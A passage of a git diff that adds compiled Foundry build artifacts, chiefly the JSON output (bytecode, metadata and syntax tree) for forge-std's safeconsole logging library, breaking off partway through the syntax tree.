proxy."},"functionSelector":"52d1902d","implemented":false,"kind":"function","modifiers":[],"name":"proxiableUUID","nameLocation":"828:13:24","parameters":{"id":46705,"nodeType":"ParameterList","parameters":[],"src":"841:2:24"},"returnParameters":{"id":46708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46707,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":46709,"src":"867:7:24","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46706,"name":"bytes32","nodeType":"ElementaryTypeName","src":"867:7:24","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"866:9:24"},"scope":46710,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC1822Proxiable","contractDependencies":[],"contractKind":"interface","documentation":{"id":46703,"nodeType":"StructuredDocumentation","src":"138:203:24","text":" @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified\n proxy whose upgrades are fully controlled by the current implementation."},"fullyImplemented":false,"linearizedBaseContracts":[46710],"name":"IERC1822Proxiable","nameLocation":"352:17:24","scope":46711,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":24} \ No newline at end of file diff --git a/contracts/out/safeconsole.sol/safeconsole.json b/contracts/out/safeconsole.sol/safeconsole.json new file mode 100644 index 000000000..0774fdaae --- /dev/null +++ b/contracts/out/safeconsole.sol/safeconsole.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212209a30c3ebbc9624026c79b5e2d2943989c30f2e3360274d848f4fdb913218b5b864736f6c63430008180033","sourceMap":"163:397734:22:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;163:397734:22;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212209a30c3ebbc9624026c79b5e2d2943989c30f2e3360274d848f4fdb913218b5b864736f6c63430008180033","sourceMap":"163:397734:22:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"author\":\"philogy \",\"details\":\"Code generated automatically by script.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/safeconsole.sol\":\"safeconsole\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/safeconsole.sol":"safeconsole"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/safeconsole.sol","id":46588,"exportedSymbols":{"safeconsole":[46587]},"nodeType":"SourceUnit","src":"32:397866:22","nodes":[{"id":33514,"nodeType":"PragmaDirective","src":"32:31:22","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":46587,"nodeType":"ContractDefinition","src":"163:397734:22","nodes":[{"id":33518,"nodeType":"VariableDeclaration","src":"189:98:22","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE_ADDR","nameLocation":"206:12:22","scope":46587,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33516,"name":"uint256","nodeType":"ElementaryTypeName","src":"189:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303030303036333646366537333646366336353265366336663637","id":33517,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"221:66:22","typeDescriptions":{"typeIdentifier":"t_rational_120209876281281145568259943_by_1","typeString":"int_const 120209876281281145568259943"},"value":"0x000000000000000000000000000000000000000000636F6e736F6c652e6c6f67"},"visibility":"internal"},{"id":33551,"nodeType":"FunctionDefinition","src":"476:331:22","nodes":[],"body":{"id":33550,"nodeType":"Block","src":"544:263:22","nodes":[],"statements":[{"assignments":[33532],"declarations":[{"constant":false,"id":33532,"mutability":"mutable","name":"fnIn","nameLocation":"595:4:22","nodeType":"VariableDeclaration","scope":33550,"src":"554:45:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) view"},"typeName":{"id":33531,"nodeType":"FunctionTypeName","parameterTypes":{"id":33529,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33526,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33531,"src":"563:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33525,"name":"uint256","nodeType":"ElementaryTypeName","src":"563:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33528,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33531,"src":"572:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33527,"name":"uint256","nodeType":"ElementaryTypeName","src":"572:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"562:18:22"},"returnParameterTypes":{"id":33530,"nodeType":"ParameterList","parameters":[],"src":"595:0:22"},"src":"554:45:22","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) view"},"visibility":"internal"},"visibility":"internal"}],"id":33534,"initialValue":{"id":33533,"name":"_sendLogPayloadView","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33560,"src":"602:19:22","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) view"}},"nodeType":"VariableDeclarationStatement","src":"554:67:22"},{"assignments":[33542],"declarations":[{"constant":false,"id":33542,"mutability":"mutable","name":"pureSendLogPayload","nameLocation":"672:18:22","nodeType":"VariableDeclaration","scope":33550,"src":"631:59:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"},"typeName":{"id":33541,"nodeType":"FunctionTypeName","parameterTypes":{"id":33539,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33536,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33541,"src":"640:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33535,"name":"uint256","nodeType":"ElementaryTypeName","src":"640:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33538,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33541,"src":"649:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33537,"name":"uint256","nodeType":"ElementaryTypeName","src":"649:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"639:18:22"},"returnParameterTypes":{"id":33540,"nodeType":"ParameterList","parameters":[],"src":"672:0:22"},"src":"631:59:22","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"},"visibility":"internal"},"visibility":"internal"}],"id":33543,"nodeType":"VariableDeclarationStatement","src":"631:59:22"},{"AST":{"nativeSrc":"709:50:22","nodeType":"YulBlock","src":"709:50:22","statements":[{"nativeSrc":"723:26:22","nodeType":"YulAssignment","src":"723:26:22","value":{"name":"fnIn","nativeSrc":"745:4:22","nodeType":"YulIdentifier","src":"745:4:22"},"variableNames":[{"name":"pureSendLogPayload","nativeSrc":"723:18:22","nodeType":"YulIdentifier","src":"723:18:22"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33532,"isOffset":false,"isSlot":false,"src":"745:4:22","valueSize":1},{"declaration":33542,"isOffset":false,"isSlot":false,"src":"723:18:22","valueSize":1}],"id":33544,"nodeType":"InlineAssembly","src":"700:59:22"},{"expression":{"arguments":[{"id":33546,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33520,"src":"787:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33547,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33522,"src":"795:4:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33545,"name":"pureSendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33542,"src":"768:18:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"768:32:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33549,"nodeType":"ExpressionStatement","src":"768:32:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayload","nameLocation":"485:15:22","parameters":{"id":33523,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33520,"mutability":"mutable","name":"offset","nameLocation":"509:6:22","nodeType":"VariableDeclaration","scope":33551,"src":"501:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33519,"name":"uint256","nodeType":"ElementaryTypeName","src":"501:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33522,"mutability":"mutable","name":"size","nameLocation":"525:4:22","nodeType":"VariableDeclaration","scope":33551,"src":"517:12:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33521,"name":"uint256","nodeType":"ElementaryTypeName","src":"517:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"500:30:22"},"returnParameters":{"id":33524,"nodeType":"ParameterList","parameters":[],"src":"544:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":33560,"nodeType":"FunctionDefinition","src":"813:181:22","nodes":[],"body":{"id":33559,"nodeType":"Block","src":"885:109:22","nodes":[],"statements":[{"AST":{"nativeSrc":"904:84:22","nodeType":"YulBlock","src":"904:84:22","statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"933:3:22","nodeType":"YulIdentifier","src":"933:3:22"},"nativeSrc":"933:5:22","nodeType":"YulFunctionCall","src":"933:5:22"},{"name":"CONSOLE_ADDR","nativeSrc":"940:12:22","nodeType":"YulIdentifier","src":"940:12:22"},{"name":"offset","nativeSrc":"954:6:22","nodeType":"YulIdentifier","src":"954:6:22"},{"name":"size","nativeSrc":"962:4:22","nodeType":"YulIdentifier","src":"962:4:22"},{"kind":"number","nativeSrc":"968:3:22","nodeType":"YulLiteral","src":"968:3:22","type":"","value":"0x0"},{"kind":"number","nativeSrc":"973:3:22","nodeType":"YulLiteral","src":"973:3:22","type":"","value":"0x0"}],"functionName":{"name":"staticcall","nativeSrc":"922:10:22","nodeType":"YulIdentifier","src":"922:10:22"},"nativeSrc":"922:55:22","nodeType":"YulFunctionCall","src":"922:55:22"}],"functionName":{"name":"pop","nativeSrc":"918:3:22","nodeType":"YulIdentifier","src":"918:3:22"},"nativeSrc":"918:60:22","nodeType":"YulFunctionCall","src":"918:60:22"},"nativeSrc":"918:60:22","nodeType":"YulExpressionStatement","src":"918:60:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33518,"isOffset":false,"isSlot":false,"src":"940:12:22","valueSize":1},{"declaration":33553,"isOffset":false,"isSlot":false,"src":"954:6:22","valueSize":1},{"declaration":33555,"isOffset":false,"isSlot":false,"src":"962:4:22","valueSize":1}],"id":33558,"nodeType":"InlineAssembly","src":"895:93:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayloadView","nameLocation":"822:19:22","parameters":{"id":33556,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33553,"mutability":"mutable","name":"offset","nameLocation":"850:6:22","nodeType":"VariableDeclaration","scope":33560,"src":"842:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33552,"name":"uint256","nodeType":"ElementaryTypeName","src":"842:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33555,"mutability":"mutable","name":"size","nameLocation":"866:4:22","nodeType":"VariableDeclaration","scope":33560,"src":"858:12:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33554,"name":"uint256","nodeType":"ElementaryTypeName","src":"858:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"841:30:22"},"returnParameters":{"id":33557,"nodeType":"ParameterList","parameters":[],"src":"885:0:22"},"scope":46587,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":33600,"nodeType":"FunctionDefinition","src":"1000:354:22","nodes":[],"body":{"id":33599,"nodeType":"Block","src":"1085:269:22","nodes":[],"statements":[{"assignments":[33578],"declarations":[{"constant":false,"id":33578,"mutability":"mutable","name":"fnIn","nameLocation":"1145:4:22","nodeType":"VariableDeclaration","scope":33599,"src":"1095:54:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) view"},"typeName":{"id":33577,"nodeType":"FunctionTypeName","parameterTypes":{"id":33575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33570,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33577,"src":"1104:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33569,"name":"uint256","nodeType":"ElementaryTypeName","src":"1104:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33572,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33577,"src":"1113:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33571,"name":"uint256","nodeType":"ElementaryTypeName","src":"1113:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33574,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33577,"src":"1122:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33573,"name":"uint256","nodeType":"ElementaryTypeName","src":"1122:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1103:27:22"},"returnParameterTypes":{"id":33576,"nodeType":"ParameterList","parameters":[],"src":"1145:0:22"},"src":"1095:54:22","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) view"},"visibility":"internal"},"visibility":"internal"}],"id":33580,"initialValue":{"id":33579,"name":"_memcopyView","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33611,"src":"1152:12:22","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) view"}},"nodeType":"VariableDeclarationStatement","src":"1095:69:22"},{"assignments":[33590],"declarations":[{"constant":false,"id":33590,"mutability":"mutable","name":"pureMemcopy","nameLocation":"1224:11:22","nodeType":"VariableDeclaration","scope":33599,"src":"1174:61:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure"},"typeName":{"id":33589,"nodeType":"FunctionTypeName","parameterTypes":{"id":33587,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33582,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33589,"src":"1183:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33581,"name":"uint256","nodeType":"ElementaryTypeName","src":"1183:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33584,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33589,"src":"1192:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33583,"name":"uint256","nodeType":"ElementaryTypeName","src":"1192:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33586,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33589,"src":"1201:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33585,"name":"uint256","nodeType":"ElementaryTypeName","src":"1201:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1182:27:22"},"returnParameterTypes":{"id":33588,"nodeType":"ParameterList","parameters":[],"src":"1224:0:22"},"src":"1174:61:22","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure"},"visibility":"internal"},"visibility":"internal"}],"id":33591,"nodeType":"VariableDeclarationStatement","src":"1174:61:22"},{"AST":{"nativeSrc":"1254:43:22","nodeType":"YulBlock","src":"1254:43:22","statements":[{"nativeSrc":"1268:19:22","nodeType":"YulAssignment","src":"1268:19:22","value":{"name":"fnIn","nativeSrc":"1283:4:22","nodeType":"YulIdentifier","src":"1283:4:22"},"variableNames":[{"name":"pureMemcopy","nativeSrc":"1268:11:22","nodeType":"YulIdentifier","src":"1268:11:22"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33578,"isOffset":false,"isSlot":false,"src":"1283:4:22","valueSize":1},{"declaration":33590,"isOffset":false,"isSlot":false,"src":"1268:11:22","valueSize":1}],"id":33592,"nodeType":"InlineAssembly","src":"1245:52:22"},{"expression":{"arguments":[{"id":33594,"name":"fromOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33562,"src":"1318:10:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33595,"name":"toOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33564,"src":"1330:8:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33596,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33566,"src":"1340:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33593,"name":"pureMemcopy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33590,"src":"1306:11:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure"}},"id":33597,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1306:41:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33598,"nodeType":"ExpressionStatement","src":"1306:41:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_memcopy","nameLocation":"1009:8:22","parameters":{"id":33567,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33562,"mutability":"mutable","name":"fromOffset","nameLocation":"1026:10:22","nodeType":"VariableDeclaration","scope":33600,"src":"1018:18:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33561,"name":"uint256","nodeType":"ElementaryTypeName","src":"1018:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33564,"mutability":"mutable","name":"toOffset","nameLocation":"1046:8:22","nodeType":"VariableDeclaration","scope":33600,"src":"1038:16:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33563,"name":"uint256","nodeType":"ElementaryTypeName","src":"1038:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33566,"mutability":"mutable","name":"length","nameLocation":"1064:6:22","nodeType":"VariableDeclaration","scope":33600,"src":"1056:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33565,"name":"uint256","nodeType":"ElementaryTypeName","src":"1056:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1017:54:22"},"returnParameters":{"id":33568,"nodeType":"ParameterList","parameters":[],"src":"1085:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":33611,"nodeType":"FunctionDefinition","src":"1360:203:22","nodes":[],"body":{"id":33610,"nodeType":"Block","src":"1449:114:22","nodes":[],"statements":[{"AST":{"nativeSrc":"1468:89:22","nodeType":"YulBlock","src":"1468:89:22","statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"1497:3:22","nodeType":"YulIdentifier","src":"1497:3:22"},"nativeSrc":"1497:5:22","nodeType":"YulFunctionCall","src":"1497:5:22"},{"kind":"number","nativeSrc":"1504:3:22","nodeType":"YulLiteral","src":"1504:3:22","type":"","value":"0x4"},{"name":"fromOffset","nativeSrc":"1509:10:22","nodeType":"YulIdentifier","src":"1509:10:22"},{"name":"length","nativeSrc":"1521:6:22","nodeType":"YulIdentifier","src":"1521:6:22"},{"name":"toOffset","nativeSrc":"1529:8:22","nodeType":"YulIdentifier","src":"1529:8:22"},{"name":"length","nativeSrc":"1539:6:22","nodeType":"YulIdentifier","src":"1539:6:22"}],"functionName":{"name":"staticcall","nativeSrc":"1486:10:22","nodeType":"YulIdentifier","src":"1486:10:22"},"nativeSrc":"1486:60:22","nodeType":"YulFunctionCall","src":"1486:60:22"}],"functionName":{"name":"pop","nativeSrc":"1482:3:22","nodeType":"YulIdentifier","src":"1482:3:22"},"nativeSrc":"1482:65:22","nodeType":"YulFunctionCall","src":"1482:65:22"},"nativeSrc":"1482:65:22","nodeType":"YulExpressionStatement","src":"1482:65:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33602,"isOffset":false,"isSlot":false,"src":"1509:10:22","valueSize":1},{"declaration":33606,"isOffset":false,"isSlot":false,"src":"1521:6:22","valueSize":1},{"declaration":33606,"isOffset":false,"isSlot":false,"src":"1539:6:22","valueSize":1},{"declaration":33604,"isOffset":false,"isSlot":false,"src":"1529:8:22","valueSize":1}],"id":33609,"nodeType":"InlineAssembly","src":"1459:98:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_memcopyView","nameLocation":"1369:12:22","parameters":{"id":33607,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33602,"mutability":"mutable","name":"fromOffset","nameLocation":"1390:10:22","nodeType":"VariableDeclaration","scope":33611,"src":"1382:18:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33601,"name":"uint256","nodeType":"ElementaryTypeName","src":"1382:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33604,"mutability":"mutable","name":"toOffset","nameLocation":"1410:8:22","nodeType":"VariableDeclaration","scope":33611,"src":"1402:16:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33603,"name":"uint256","nodeType":"ElementaryTypeName","src":"1402:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33606,"mutability":"mutable","name":"length","nameLocation":"1428:6:22","nodeType":"VariableDeclaration","scope":33611,"src":"1420:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33605,"name":"uint256","nodeType":"ElementaryTypeName","src":"1420:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1381:54:22"},"returnParameters":{"id":33608,"nodeType":"ParameterList","parameters":[],"src":"1449:0:22"},"scope":46587,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":33688,"nodeType":"FunctionDefinition","src":"1569:1863:22","nodes":[],"body":{"id":33687,"nodeType":"Block","src":"1634:1798:22","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33620,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33618,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33613,"src":"1648:6:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"hexValue":"30783630","id":33619,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1658:4:22","typeDescriptions":{"typeIdentifier":"t_rational_96_by_1","typeString":"int_const 